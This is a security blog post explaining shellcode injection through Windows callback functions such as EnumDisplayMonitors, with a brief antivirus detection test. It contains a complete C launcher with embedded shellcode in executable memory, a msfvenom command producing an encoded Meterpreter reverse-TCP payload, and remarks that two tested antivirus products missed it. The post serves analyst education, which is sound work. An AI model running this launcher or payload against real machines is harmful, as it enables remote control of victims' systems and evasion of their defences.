Introduction
When I’ve firstly seen the technique behind the Shellcode execution through Microsoft Windows Callbacks, I thought it was pure magic. But then, digging a little bit on it, I figured out that it was just brilliant ! Nowadays this technique is quite used in underground communities to inject shellcode
into running processes so I decided to write a blog post to make clear to cybersecurity analysts how to deal with it. The takeaway of the day is: Don’t trust your callback function anymore !
What is and s CallBack Function ?
According with Microsoft: “A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.”
For example, if we take a closer loot to EnumDisplayMonitors
from user32.dll
we have the following interface:
BOOL EnumDisplayMonitors(
[in] HDC hdc,
[in] LPCRECT lprcClip,
[in] MONITORENUMPROC lpfnEnum,
[in] LPARAM dwData
);
Which according to MSDN:
[in] hdc
A handle to a display device context that defines the visible region of interest. If this parameter is NULL, the hdcMonitor parameter passed to the callback function will be NULL, and the visible region of interest is the virtual screen that encompasses all the displays on the desktop.
[in] lprcClip
A pointer to a RECT structure that specifies a clipping rectangle. The region of interest is the intersection of the clipping rectangle with the visible region specified by hdc. If hdc is non-NULL, the coordinates of the clipping rectangle are relative to the origin of the hdc. If hdc is NULL, the coordinates are virtual-screen coordinates. This parameter can be NULL if you don’t want to clip the region specified by hdc.
[in] lpfnEnum
A pointer to a MonitorEnumProc application-defined callback function.
[in] dwData
Application-defined data that EnumDisplayMonitors passes directly to the MonitorEnumProc function.
What’s The Hack !?
Now, let’s try to imagine what it could happen if we give a running Shellcode as a CallBack function. In this case the system will try to execute the Shellcode believing to run an implementation of MonitorEnumProc. Once the run has just happened (that is the system has run the injected Shellcode), the IP
(Instruction Pointer) will get an out of bound value which will eventually results in exception. But before the exception rise, the Shellcode has been executed. In low level languages, such as C or even on C++, when you want to create a Callback you need to provide to the parent function, a pointer to the desired memory space, where the callback function sits in, so we need to prepare such a memory space before the execution. First of all let’s start from looking to the following launcher and let’s check the main execution steps (from aahmad097 repo).
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
int main() {
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, op, sizeof(op));
::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL);
}
As usual the first steps are involved to prepare memory: create the right space for the Shellcode and copy it to the prepared memory. After then that, we call the EnumDisplayMonitors
, we give a double Null
as the first two parameters (as documentation describes) and the pointer to the previously allocated memory: where it is supposed to be the MONITORENUMPROC
implementation function (but which is not). The system takes care about the Callback through its dispatcher called ntdll_KiUserCallbackDispatcher
as reported in the following image.
Once the flow (instruction pointer
) reaches the dispatcher function, the library (ntt.dll
) calls the given pointer (in the following image named: unk_7FFB798435C0
). Here the magic happens ! The ntdll_KiUserCallbackDispatcher
expects its own candy (the right return value as described in the MONITORENUMPROC
interface) and returns the whole object through the ntdll_NtCallbackReturn
function to the parent function which, in this specific case, throws an exception since the implemented Callback function does not respect the MONITORENUMPROC
interface ( it’s a WinExec to Calc.exe) . Before such an exception the Shellcode begins its path by running a shell WinExecute function. The following image shows what I meant.
A final jmp rax
jumps to kernel32_WinExec
(into the shellcode) which finally runs calc.exe
.
We have just proven a very interesting way to inject Shellcode into a process by using legit functions exploiting jmp to rax
as a resulting compilation technique used in several Microsoft libraries. In other words we have just exploited the way the library implements the callback functions.
AV Coverage: quick notes
Now the question could be: do the AVs recognize that injection technique ? If so, how do they behave ?
In order to answer to such a questions I changed the Shellcode from the aahmad097 example, inserting a classic and wellknown and recognized Meterpreter. The following image shows a simple run of a meterpreter
. The shell code is generated by msfvenom
as simple as follows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.38 LPORT=8888 -i 5 -e cmd/powershell_base64 -f c
The handler is managed as a simple metasploit
multi/handler
run. On the top of the image, the handler with remote sessions running meterpreter, on the bottom the run shellcode
on the victim host. The code has been compiled through Visual Studio 2022 and named EnumDisplayMonitrs.exe
which happens to be the used function name to inject meterpreter shellcode.
The tests I’ve done are simple and not significant, maybe just indicative. I actually do not want to judge any selected AVs, the AV are randomly selected from primary AV available online, I’ve been using the free and evaluation versions of the relative AVs and the tests are performed with default installation parameters without any tuning. The target is to have a primarily view of what an attacker could perform by using-and-improving that technique.
The first tested AV didn’t recognize the threat at all. I asked to scan the specific compiled file (EnumDisplayMonitrs.exe
) but everything was fine for it: No Threats Found. I also run the payload to see if something would triggering on memory, but nothing detected as well.
The second AV performed as the first one. No detection on static analysis nor during runtime execution as shown in the following image.
The third tested AV detected the threat by static analysis (which meas quite easy to evade from a motivated attacker) but not during the execution (dynamic detection). The detection on static file could underling some rising signatures. A motivated attacker using techniques such as obfuscation and encryption could easily evade this detection technique by changing the launcher code or through API pollution or introducing obfuscators or encrypters.
Conclusion
Today we have seen an interesting way to execute Shellcode through Microsoft Windows callback functions and we provided a quick and incomplete AV coverage. If you are wondering how many Microsoft functions are “vulnerable” to such a technique, well take a look to aahmad097 repository here, you will be surprised on how many entry points an attacker can use to execute arbitrary code on your Windows machine.